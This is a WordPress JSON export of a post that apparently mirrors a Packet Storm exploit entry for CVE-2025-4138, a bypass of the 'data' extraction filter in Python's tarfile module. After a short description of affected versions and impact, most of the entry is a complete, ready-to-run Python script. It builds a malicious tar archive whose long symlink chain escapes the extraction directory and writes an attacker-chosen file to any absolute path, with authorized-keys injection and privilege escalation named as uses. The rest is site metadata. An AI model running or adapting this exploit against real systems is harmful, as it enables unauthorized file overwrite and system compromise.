{"id":41675,"date":"2026-02-19T11:39:30","date_gmt":"2026-02-19T11:39:30","guid":{"rendered":"http:\/\/localhost\/?p=41675"},"modified":"2026-02-19T11:39:30","modified_gmt":"2026-02-19T11:39:30","slug":"python-tarfile-bypass","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=41675","title":{"rendered":"\ud83d\udcc4 Python Tarfile Bypass_PACKETSTORM:215859"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-19T16:34:35&#8243;,&#8221;description&#8221;:&#8221;This proof of concept exploit targets CVE-2025-4138, a vulnerability in Python&#8217;s built-in tarfile module when extracting archives using filter=\\&#8221;data\\&#8221;. The issue allows a crafted archive to bypass intended path restrictions by abusing filesystem path&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-19T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-19T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Python Tarfile Bypass&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215859&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-4138&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Python tarfile filter=\\&#8221;data\\&#8221; Bypass via PATH_MAX Symlink Chain                                                              |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.3 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/www.python.org\/                                                                                                     |\\n    =============================================================================================================================================\\n    \\n    [+] Summary    :  This Proof of Concept (PoC) targets CVE-2025-4138, a vulnerability in Python\u2019s built-in tarfile module when extracting archives using filter=\\&#8221;data\\&#8221;.\\n                      The issue allows a crafted archive to bypass intended path restrictions by abusing filesystem path length handling and symbolic link resolution.\\n    \\n    [+] The attack relies on:\\n    \\n    Building a deep symlink chain that approaches the system\u2019s PATH_MAX limit.\\n    \\n    Using very long directory names (247 characters each) repeated across multiple nested levels.\\n    \\n    Creating carefully structured symbolic links that pivot path resolution outside the intended extraction directory.\\n    \\n    Writing an arbitrary file to an absolute attacker-controlled path, escaping the extraction root.\\n    \\n    The technique manipulates path normalization and symlink resolution behavior during archive extraction.\\n    \\n    [+] Key Characteristics :\\n    \\n    Dynamically detects PATH_MAX depending on OS:\\n    \\n    Linux (typically 4096)\\n    \\n    macOS (typically 1024)\\n    \\n    Windows (MAX_PATH 260)\\n    \\n    Generates a malicious .tar archive.\\n    \\n    Allows custom file permission mode for the payload.\\n    \\n    Includes a &#8211;check-only mode to test whether the system may be vulnerable without building the archive.\\n    \\n    Requires the target file path to be absolute.\\n    \\n    [+] Affected Versions :\\n    \\n    Python 3.12.0 \u2013 3.12.10\\n    \\n    Python 3.13.0 \u2013 3.13.3\\n    \\n    [+] Fixed In ;\\n    \\n    Python 3.12.11\\n    \\n    Python 3.13.4\\n    \\n    [+] Impact  :\\n    \\n    If a vulnerable system extracts a malicious archive using tarfile with filter=\\&#8221;data\\&#8221; and insufficient path validation:\\n    \\n    Arbitrary file write outside the intended extraction directory becomes possible.\\n    \\n    [+] This may lead to:\\n    \\n    Configuration overwrite\\n    \\n    Authorized keys injection\\n    \\n    Service hijacking\\n    \\n    Privilege escalation (depending on execution context)\\n    \\n    Impact severity depends on:\\n    \\n    The privileges of the extraction process\\n    \\n    The writable filesystem locations\\n    \\n    Application behavior after extraction\\n    \\n    [+] POC : \\n    \\n    #!\/usr\/bin\/env python3\\n    \\n    import argparse\\n    import io\\n    import os\\n    import tarfile\\n    import sys\\n    \\n    DIR_LEN = 247\\n    \\n    CHARS = \\&#8221;abcdefghijklmnop\\&#8221;\\n    \\n    def get_path_max():\\n        \\&#8221;\\&#8221;\\&#8221;Determine PATH_MAX based on the operating system\\&#8221;\\&#8221;\\&#8221;\\n        import platform\\n        system = platform.system()\\n        if system == \\&#8221;Linux\\&#8221;:\\n            return 4096\\n        elif system == \\&#8221;Darwin\\&#8221;:  \\n            return 1024\\n        elif system == \\&#8221;Windows\\&#8221;:\\n            return 260 \\n        else:\\n            return 4096  \\n    \\n    def build_tar(tar_path, target_file, payload, mode):\\n    \\n        if not os.path.isabs(target_file):\\n            raise ValueError(f\\&#8221;Target path must be absolute: {target_file}\\&#8221;)\\n        \\n        target_dir = os.path.dirname(target_file)\\n        target_name = os.path.basename(target_file)\\n     \\n        if not target_name:\\n            raise ValueError(f\\&#8221;Target file has no basename: {target_file}\\&#8221;)\\n        \\n        long_dir = \\&#8221;d\\&#8221; * DIR_LEN  \\n        path_max = get_path_max()\\n        \\n        print(f\\&#8221;[*] PATH_MAX detected: {path_max}\\&#8221;)\\n        print(f\\&#8221;[*] Chain length: {len(CHARS) * DIR_LEN} bytes\\&#8221;)\\n        \\n        if len(CHARS) * DIR_LEN \\u003e= path_max:\\n            print(f\\&#8221;[!] Warning: Chain length may exceed PATH_MAX on this system\\&#8221;)\\n    \\n        with tarfile.open(tar_path, \\&#8221;w\\&#8221;) as tar:\\n            prefix = \\&#8221;\\&#8221;\\n            for i, char in enumerate(CHARS):\\n    \\n                d = tarfile.TarInfo(os.path.join(prefix, long_dir))\\n                d.type = tarfile.DIRTYPE\\n                d.mode = 0o755  \\n                d.uid = 0\\n                d.gid = 0\\n                d.uname = \\&#8221;root\\&#8221;\\n                d.gname = \\&#8221;root\\&#8221;\\n                tar.addfile(d)\\n    \\n                s = tarfile.TarInfo(os.path.join(prefix, char))\\n                s.type = tarfile.SYMTYPE\\n                s.linkname = long_dir\\n                s.mode = 0o777  \\n                s.size = 0   \\n                s.uid = 0\\n                s.gid = 0\\n                tar.addfile(s)\\n    \\n                prefix = os.path.join(prefix, long_dir)\\n    \\n            short_chain = \\&#8221;\/\\&#8221;.join(CHARS)  # \\&#8221;a\/b\/c\/d\/e\/f\/g\/h\/i\/j\/k\/l\/m\/n\/o\/p\\&#8221;\\n            pivot_name = os.path.join(short_chain, \\&#8221;l\\&#8221; * 254)\\n            pivot = tarfile.TarInfo(pivot_name)\\n            pivot.type = tarfile.SYMTYPE\\n            pivot.linkname = \\&#8221;..\/\\&#8221; * len(CHARS) \\n            pivot.mode = 0o777\\n            pivot.size = 0\\n            pivot.uid = 0\\n            pivot.gid = 0\\n            tar.addfile(pivot)\\n    \\n            escape_name = \\&#8221;escape\\&#8221;\\n            escape = tarfile.TarInfo(escape_name)\\n            escape.type = tarfile.SYMTYPE\\n    \\n            dir_count = len(CHARS) + 1  \\n            target_dir_clean = target_dir.lstrip(&#8216;\/&#8217;)\\n            if target_dir_clean:\\n                escape.linkname = pivot_name + \\&#8221;\/\\&#8221; + (\\&#8221;..\/\\&#8221; * dir_count) + target_dir_clean\\n            else:\\n                escape.linkname = pivot_name + \\&#8221;\/\\&#8221; + (\\&#8221;..\/\\&#8221; * dir_count)\\n            \\n            escape.mode = 0o777\\n            escape.size = 0\\n            escape.uid = 0\\n            escape.gid = 0\\n            tar.addfile(escape)\\n    \\n            f = tarfile.TarInfo(f\\&#8221;{escape_name}\/{target_name}\\&#8221;)\\n            f.type = tarfile.REGTYPE\\n            f.size = len(payload)\\n            f.mode = mode\\n            f.uid = 0\\n            f.gid = 0\\n            f.uname = \\&#8221;root\\&#8221;\\n            f.gname = \\&#8221;root\\&#8221;\\n            \\n            print(f\\&#8221;[*] Adding payload: {f.name} -\\u003e {target_file}\\&#8221;)\\n            print(f\\&#8221;[*] Payload size: {f.size} bytes\\&#8221;)\\n            print(f\\&#8221;[*] File mode: {oct(f.mode)}\\&#8221;)\\n            \\n            tar.addfile(f, io.BytesIO(payload))\\n        \\n        print(f\\&#8221;[+] Malicious tar created: {tar_path}\\&#8221;)\\n    \\n    def main():\\n        p = argparse.ArgumentParser(description=\\&#8221;CVE-2025-4138 tarfile filter bypass\\&#8221;)\\n        p.add_argument(\\&#8221;-o\\&#8221;, \\&#8221;&#8211;output\\&#8221;, required=True, help=\\&#8221;output tar path\\&#8221;)\\n        p.add_argument(\\&#8221;-t\\&#8221;, \\&#8221;&#8211;target\\&#8221;, required=True, help=\\&#8221;absolute path to write to on target\\&#8221;)\\n        p.add_argument(\\&#8221;-p\\&#8221;, \\&#8221;&#8211;payload\\&#8221;, required=True, help=\\&#8221;File to use as a payload\\&#8221;)\\n        p.add_argument(\\&#8221;-m\\&#8221;, \\&#8221;&#8211;mode\\&#8221;, required=False, default=\\&#8221;0644\\&#8221;, help=\\&#8221;Set file permissions (default: 0644)\\&#8221;)\\n        p.add_argument(\\&#8221;&#8211;check-only\\&#8221;, action=\\&#8221;store_true\\&#8221;, help=\\&#8221;Only check if target is vulnerable\\&#8221;)\\n    \\n        args = p.parse_args()\\n    \\n        if not os.path.isabs(args.target):\\n            print(f\\&#8221;[-] Error: Target path must be absolute: {args.target}\\&#8221;)\\n            sys.exit(1)\\n        \\n        payload_path = os.path.expanduser(args.payload)\\n        \\n        if not os.path.exists(payload_path):\\n            print(f\\&#8221;[-] Payload file not found: {payload_path}\\&#8221;)\\n            sys.exit(1)\\n        \\n        with open(payload_path, \\&#8221;rb\\&#8221;) as fh:\\n            payload = fh.read()\\n    \\n        if not payload.endswith(b\\&#8221;\\\\n\\&#8221;):\\n            payload += b\\&#8221;\\\\n\\&#8221;\\n        \\n        if args.check_only:\\n            print(\\&#8221;[*] Checking system vulnerability&#8230;\\&#8221;)\\n            path_max = get_path_max()\\n            chain_length = len(CHARS) * DIR_LEN\\n            print(f\\&#8221;[*] PATH_MAX: {path_max}\\&#8221;)\\n            print(f\\&#8221;[*] Chain length: {chain_length}\\&#8221;)\\n            \\n            if chain_length \\u003c path_max:\\n                print(\\&#8221;[+] System appears vulnerable (chain length \\u003c PATH_MAX)\\&#8221;)\\n            else:\\n                print(\\&#8221;[-] System may not be vulnerable (chain length \\u003e= PATH_MAX)\\&#8221;)\\n            return\\n        \\n        try:\\n            build_tar(args.output, args.target, payload, int(args.mode, 8))\\n        except Exception as e:\\n            print(f\\&#8221;[-] Error: {e}\\&#8221;)\\n            sys.exit(1)\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        main()\\n    \\t\\n    Greetings to :======================================================================\\n    jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|\\n    ====================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/215859&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:7.5,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:N\/A:N&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/215859\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-19T16:34:35&#8243;,&#8221;description&#8221;:&#8221;This proof of concept exploit targets CVE-2025-4138, a vulnerability in Python&#8217;s built-in tarfile module when extracting archives using filter=\\&#8221;data\\&#8221;. The issue allows a crafted archive&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,16,12,15,13,53,7,11,5],"class_list":["post-41675","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-75","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Python Tarfile Bypass_PACKETSTORM:215859 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=41675\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Python Tarfile Bypass_PACKETSTORM:215859 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-02-19T16:34:35&#8243;,&#8221;description&#8221;:&#8221;This proof of concept exploit targets CVE-2025-4138, a vulnerability in Python&#8217;s built-in tarfile module when extracting archives using filter=&#8221;data&#8221;. The issue allows a crafted archive...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=41675\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-19T11:39:30+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41675#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41675\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Python Tarfile Bypass_PACKETSTORM:215859\",\"datePublished\":\"2026-02-19T11:39:30+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41675\"},\"wordCount\":1313,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-7.5\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41675#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41675\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41675\",\"name\":\"\ud83d\udcc4 Python Tarfile Bypass_PACKETSTORM:215859 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-02-19T11:39:30+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41675#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41675\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41675#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Python Tarfile Bypass_PACKETSTORM:215859\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Python Tarfile Bypass_PACKETSTORM:215859 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=41675","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Python Tarfile Bypass_PACKETSTORM:215859 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-02-19T16:34:35&#8243;,&#8221;description&#8221;:&#8221;This proof of concept exploit targets CVE-2025-4138, a vulnerability in Python&#8217;s built-in tarfile module when extracting archives using filter=&#8221;data&#8221;. The issue allows a crafted archive...","og_url":"https:\/\/zero.redgem.net\/?p=41675","og_site_name":"zero redgem","article_published_time":"2026-02-19T11:39:30+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"7 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=41675#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=41675"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Python Tarfile Bypass_PACKETSTORM:215859","datePublished":"2026-02-19T11:39:30+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=41675"},"wordCount":1313,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-7.5","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=41675#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=41675","url":"https:\/\/zero.redgem.net\/?p=41675","name":"\ud83d\udcc4 Python Tarfile Bypass_PACKETSTORM:215859 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-02-19T11:39:30+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=41675#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=41675"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=41675#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Python Tarfile Bypass_PACKETSTORM:215859"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41675","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=41675"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41675\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=41675"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=41675"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=41675"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}